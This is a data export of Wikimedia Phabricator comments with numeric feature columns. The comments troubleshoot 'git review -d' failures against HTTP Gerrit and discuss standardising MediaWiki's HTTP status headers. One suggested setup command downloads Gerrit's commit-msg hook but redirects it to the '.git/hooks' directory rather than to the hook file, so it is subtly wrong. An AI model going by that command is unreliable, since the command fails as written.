  mah@flynn: HitCounters$ ",Medium,50.0,1433169639,1438334363.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_description,declined,True,c3,1,False,False,True,-5,True,0.25,0.0,0.0,0.25,1.5,1.25,0.25,0.0,0.0,0.0,1.75,0.5,0.0,0.0,0.0,0.0,0.0,1.75,3.25,0.0,0.25,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.5,0.0,0.0,0.75,0.5,0.25,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,15.75,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.75,0.75,8.75,0.0,0.0,1.5,0.0,0.0,0.25,0.0,2.0,0.0,2.75,0.0,0.25,3.25,14.0,0.0,4.75,0.0,0.25,0.0,0.0,0.0,0.0,0.75,0.0,0.25,6.0,4.371701090074584,0.555185025817556,"Output follows.  Looks like it is expecting some python scripts to be in place.

  mah@flynn: HitCounters$ git review -d 202629
  Traceback (most recent call last):
    File ""/usr/local/bin/git-review"", line 11, in <module>
      sys.exit(main())
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 1180, in main
      local_branch = fetch_review(options.changeidentifier, branch, remote)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 886, in fetch_review
      parse_exc=ReviewInformationNotFound)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 416, in query_reviews
      parse_exc=parse_exc)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 434, in query_reviews_over_http
      request = run_http_exc(exception, url)
    File ""/usr/local/lib/python2.7/dist-packages/git_review/cmd.py"", line 175, in run_http_exc
      raise klazz(255, str(err), ('GET', url), env)
  git_review.cmd.CannotQueryPatchSet: Cannot query patchset information
  The following command failed with exit code 255
      ""GET URL
  -----------------------
  Cannot query patchset information
  The following command failed with exit code 104
      ""GET URL
  -----------------------
  <!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
  <html><head>
  <title>404 Not Found</title>
  </head><body>
  <h1>Not Found</h1>
  <p>The requested URL /changes/ was not found on this server.</p>
  </body></html>
  
  -----------------------
  -----------------------
  mah@flynn: HitCounters$ "
937829,"""git review -d XXX"" doesn't work for http gerrit",At some point I should probably copy my previous comment T100987#3353888 to the wiki :-],,,1506548370,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,116,True,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.933333333333334,1.0,At some point I should probably copy my previous comment T100987#3353888 to the wiki :-]
877359,"""git review -d XXX"" doesn't work for http gerrit","git-review 1.25 is the last tagged version. It is two years old  and lack a few nice feature introduced meanwhile. My recommandation is to run it from sources!

Install
=====

Install the python package manager system:
`sudo apt-get install python-pip`

Get the source:
`git clone https://git.openstack.org/openstack-infra/git-review`

Get the python package system to craft a `git-review` command in your home directory and pointing to that source tree.

```
cd git-review
pip install --user -e .
```

That should install the script as `~/.local/bin/git-review`.  Add that path to your PATH:
`PATH=""~/.local/bin:$PATH""`


Config
=====

git-review looks at setting in `.gitconfig`.  You would want to configure your username and enable some features introduced after git-review v1.25 got tagged:
```
git config ---global gitreview.username kaldari
git config ---global gitreview.usepushurl 1
git config ---global gitreview.track 1
```

Where:

`gitreview.username` is your ssh account for Gerrit

`gitreview.usepushurl`
> Use remote push-url logic instead of separate remotes

With that, git-review would no more use a `gerrit` remote.  Instead it will configure the `origin` remote with a push-url pointing to ssh:// . Example:
```
$ git remote -v
origin	https://gerrit.wikimedia.org/r/p/mediawiki/core.git (fetch)
origin	ssh://gerrit.wikimedia.org:29418/mediawiki/core.git (push)
```

Thus you would fetch over HTTP put push over ssh with authentication.

`gitreview.track`

> Use tracked branch as default.

I think git-review default to push to master branch, and we had `.gitreview` files to explicitly mention the branch.  With `track` git-review looks at the remote tracked branch and would use that, that is 99% of the time what you intend to do.

Conclusion
-------------

As always, you can dry-run / verbose a run which is the best way to understand how it works:
```
git-review -n -v
```
",,,1497596124,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,102,True,1.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,0.0,2.0,7.0,0.0,0.0,1.0,0.0,6.0,0.0,2.0,0.0,5.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,5.447916666666667,0.6041666666666666,"git-review 1.25 is the last tagged version. It is two years old  and lack a few nice feature introduced meanwhile. My recommandation is to run it from sources!

Install
=====

Install the python package manager system:
CODE

Get the source:
CODE

Get the python package system to craft a CODE command in your home directory and pointing to that source tree.

``CODE`CODE~/.local/bin/git-reviewCODEPATH=""~/.local/bin:$PATH""CODE.gitconfigCODE`CODE`CODEgitreview.usernameCODEgitreview.usepushurlCODEgerritCODEoriginCODE`CODE`CODEgitreview.trackCODE.gitreviewCODEtrackCODE`CODE``
"
877356,"""git review -d XXX"" doesn't work for http gerrit","@kaldari sure thing!

> fetch patches manually (eg: git fetch origin refs/changes/DE/ABCDE && git checkout FETCH_HEAD

`ref/changes/DE/ABCDE` is the git reference for an hypothetical change `ABCDE`. 

On a change web page, on the top right there is a **Download** link. Clicking on it brings a popup that gives you command line to cherry-pick / checkout patches. Eg:

https://gerrit.wikimedia.org/r/#/c/320200/

    git fetch https://gerrit.wikimedia.org/r/operations/mediawiki-config refs/changes/00/320200/3 && git checkout FETCH_HEAD

> use the ssh:// protocol for review

That all depends on your git-review version.  IIRC with 1.25, it would setup and use the a git remote named gerrit. You would thus have something like:

```
$ git remote -v
origin	https://gerrit.wikimedia.org/r/p/mediawiki/core.git (fetch)
origin	https://gerrit.wikimedia.org/r/p/mediawiki/core.git (push)
gerrit	ssh://hashar@gerrit.wikimedia.org:29418/mediawiki/core.git (push)
gerrit	ssh://hashar@gerrit.wikimedia.org:29418/mediawiki/core.git (fetch)
```

You can change a remote url with eg:

    git remote set-url gerrit ssh://gerrit.wikimedia.org:29418/mediawiki/core.git

",,,1497595465,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,102,True,0.5,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,6.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,2.5,0.0,1.0,0.0,2.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,19.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,1.0,10.0,0.5,2.0,6.0,0.0,0.0,0.5,0.0,4.0,0.0,1.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,0.5,3.5,0.0,0.5,0.0,0.0,0.0,3.9779411764705888,0.7058823529411765,"SCREEN_NAME sure thing!

QUOTE

CODE is the git reference for an hypothetical change CODE. 

On a change web page, on the top right there is a **Download** link. Clicking on it brings a popup that gives you command line to cherry-pick / checkout patches. Eg:

URL

    git fetch URL refs/changes/00/320200/3 && git checkout FETCH_HEAD

QUOTE

That all depends on your git-review version.  IIRC with 1.25, it would setup and use the a git remote named gerrit. You would thus have something like:

``CODE``

You can change a remote url with eg:

    git remote set-url gerrit ssh://gerrit.wikimedia.org:29418/mediawiki/core.git

"
877177,"""git review -d XXX"" doesn't work for http gerrit","> The workaround are:
>   - use the ssh:// protocol for review
>   - fetch patches manually (eg: git fetch origin refs/changes/DE/ABCDE && git checkout FETCH_HEAD
> 

@hashar: Could you explain these workarounds for those of us that aren't as git proficient? For example, what is the ""DE/ABCDE""? And how does one use the ssh:// protocol for review? Would that be something like:
`git remote set-url origin ssh://kaldari@gerrit.wikimedia.org:29418/mediawiki/...`?",,,1497560027,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,False,,,102,True,0.0,2.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,21.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,10.0,7.0,3.0,0.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,3.6206896551724137,0.7413793103448276,"QUOTE
QUOTE
QUOTE
QUOTE
SCREEN_NAME: Could you explain these workarounds for those of us that aren't as git proficient? For example, what is the ""DE/ABCDE""? And how does one use the ssh:// protocol for review? Would that be something like:
CODE?"
842813,"""git review -d XXX"" doesn't work for http gerrit","Hm, I'm seeing this even with the `gerrit` remote set to `ssh://` -- it appears that your `origin` remote also has to be via ssh (not https) in order for gerrit to be happy.",,,1492181759,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,False,,,93,True,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,8.0,21.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.282051282051282,0.8461538461538461,"Hm, I'm seeing this even with the CODE remote set to CODE -- it appears that your CODE remote also has to be via ssh (not https) in order for gerrit to be happy."
788287,"""git review -d XXX"" doesn't work for http gerrit","Found it

https://github.com/openstack-infra/git-review/blob/67dbbc2e59b0b104c9de0a8ab1d39ca54e9845ca/git_review/cmd.py#L571

Probably want to add either /r/ on the end of the URL in the git review file. Or add a new prefix config to prefix the url.",,,1483715408,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,79,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,15.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.264705882352941,0.7352941176470589,"Found it

URL

Probably want to add either /r/ on the end of the URL in the git review file. Or add a new prefix config to prefix the url."
500148,"""git review -d XXX"" doesn't work for http gerrit","hashar writes:

> The fix would be to add support in `git-review` to specify the base
> path fragment which would be appended to the scheme + host.  Feel free
> to report it upstream.  Meanwhile I am closing this task since the
> supported way is to use ssh.

An alternative fix: don't depend on ""git review -s"" to set up gerrit.
Instead, the following set up works:

   $ curl https://gerrit.wikimedia.org/r/tools/hooks/commit-msg > .git/hooks; chmod +x .git/hooks/commit-msg
   $ git remote add gerrit https://USER@gerrit.wikimedia.org/r/p/PROJECT

After that ""git review -d XXXX"" should work.",,,1438349344,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.207792207792208,0.6623376623376623,"hashar writes:

QUOTE
QUOTE
QUOTE
QUOTE

An alternative fix: don't depend on ""git review -s"" to set up gerrit.
Instead, the following set up works:

   $ curl URL > .git/hooks; chmod +x .git/hooks/commit-msg
   $ git remote add gerrit URL

After that ""git review -d XXXX"" should work."
500060,"""git review -d XXX"" doesn't work for http gerrit","The reason for the failure is that git-review uses the wrong Gerrit base path: https://gerrit.wikimedia.org/ . It is missing the trailing /r/ .  But if you add it it works just fine:

```
https://gerrit.wikimedia.org/r/changes/?q=202629&o=CURRENT_REVISION
                             ^
```

The root cause is git-review looks at the remote URL then does:
```
>>> import urlparse
>>> urlparse.urljoin( 'https://gerrit.wikimedia.org/r/p/mediawiki/core.git', '/changes/' )
'https://gerrit.wikimedia.org/changes/'
>>> 
```

https://docs.python.org/2/library/urlparse.html#urlparse.urljoin

So git-review expect the Gerrit base path to be at the root `/` when our setup namespaces it under `/r/`'.

The workaround are:
* use the `ssh://` protocol for review
* fetch patches manually (eg:  git fetch origin refs/changes/DE/ABCDE && git checkout FETCH_HEAD

The fix would be to add support in `git-review` to specify the base path fragment which would be appended to the scheme + host.  Feel free to report it upstream.  Meanwhile I am closing this task since the supported way is to use ssh.
",,,1438334363,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,9.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,2.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,8.0,5.0,12.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,9.0,5.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,3.67032967032967,0.7032967032967034,"The reason for the failure is that git-review uses the wrong Gerrit base path: URL . It is missing the trailing /r/ .  But if you add it it works just fine:

``CODE`CODE`CODE`CODE/CODE/r/CODEssh://CODEgit-review` to specify the base path fragment which would be appended to the scheme + host.  Feel free to report it upstream.  Meanwhile I am closing this task since the supported way is to use ssh.
"
466921,"""git review -d XXX"" doesn't work for http gerrit",">>! In T100987#1326436, @chasemp wrote:
> @demon ping :)

Friends don't let friends use git-review :p",,,1433184432,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,"QUOTE
QUOTE

Friends don't let friends use git-review :p"
466881,"""git review -d XXX"" doesn't work for http gerrit",T94566 - sort of,,,1433181208,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,T94566 - sort of
466868,"""git review -d XXX"" doesn't work for http gerrit",@demon ping :),,,1433179982,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,SCREEN_NAME ping :)
466831,"""git review -d XXX"" doesn't work for http gerrit","@krenair, thanks.  If you find it, merge this one with the one it dupes.  If you could, I'd like to get you to review the documentation I'm going to write for people behind firewalls that need to commit to gerrit.",,,1433177014,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,20.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,8.0,2.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,10.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,14.0,20.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.54,0.68,"SCREEN_NAME, thanks.  If you find it, merge this one with the one it dupes.  If you could, I'd like to get you to review the documentation I'm going to write for people behind firewalls that need to commit to gerrit."
466810,"""git review -d XXX"" doesn't work for http gerrit",I think this might be a duplicate - it's been annoying me for a long while.,,,1433175088,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-seoz4yzzbo7jcdx7exu7,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,3.3333333333333335,0.9444444444444444,I think this might be a duplicate - it's been annoying me for a long while.
100984,Standardise HttpStatus header handling,"MediaWiki contains a dozen of variations on how to set the HTTP status code.

```lang=php

WebResponse->header( ""HTTP/1.1 $code $message"" );
WebResponse->header( ""HTTP/1.1 302 "" . HttpStatus::getMessage( 302 ) );

WebResponse->header( ""HTTP/1.1 $code $message"", true, $code );
WebResponse->header( ""HTTP/1.1 403 $message"", true, 403 );

header( ""Status: $code $message"", true, $code );
header( ""Status: "" . $this->mResponseCode, true, (int)$n );
header( ""Status: {$this->httpCode} {$httpMessage}"", true, $this->httpCode );
```
.. and many more.",Medium,50.0,1433166918,1433455443.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-uazbd46bp32q7ojlg6fi,task_description,resolved,True,c3,1,True,True,True,-5,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,3.259259259259259,0.8518518518518519,"MediaWiki contains a dozen of variations on how to set the HTTP status code.

``CODE``
.. and many more."
469440,Standardise HttpStatus header handling,">>! In T100984#1326227, @Anomie wrote:
>>>! In T100984#1326036, @Krinkle wrote:
>> * PHP 5.6.9 (Zend)
> [...]
>> * PHP 5.3.10 (Zend)
> 
> Tests against HHVM to make sure they didn't do anything differently here?

Good point. I've updated the original comment with results from HHVM and PHP 5.5 (as used by Wikimedia). No unexpected behaviour.",,,1433458036,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,32.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.707317073170732,0.6829268292682927,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Good point. I've updated the original comment with results from HHVM and PHP 5.5 (as used by Wikimedia). No unexpected behaviour."
468065,Standardise HttpStatus header handling,"* https://gerrit.wikimedia.org/r/215031 (branch master): #mw1.26, #mw1.26wmf9
",,,1433300442,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf9
"
468061,Standardise HttpStatus header handling,"Change 215031 merged by jenkins-bot:
exception: Use standard message for HTTP status 500

[[https://gerrit.wikimedia.org/r/215031]]",,,1433300311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.875,0.875,"Change 215031 merged by jenkins-bot:
exception: Use standard message for HTTP status 500

[[GERRIT_URL]]"
466822,Standardise HttpStatus header handling,"Also, were these tests run with PHP-FPM or some other FastCGI server?",,,1433176098,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,"Also, were these tests run with PHP-FPM or some other FastCGI server?"
466820,Standardise HttpStatus header handling,">>! In T100984#1326036, @Krinkle wrote:
> * PHP 5.6.9 (Zend)
[...]
> * PHP 5.3.10 (Zend)

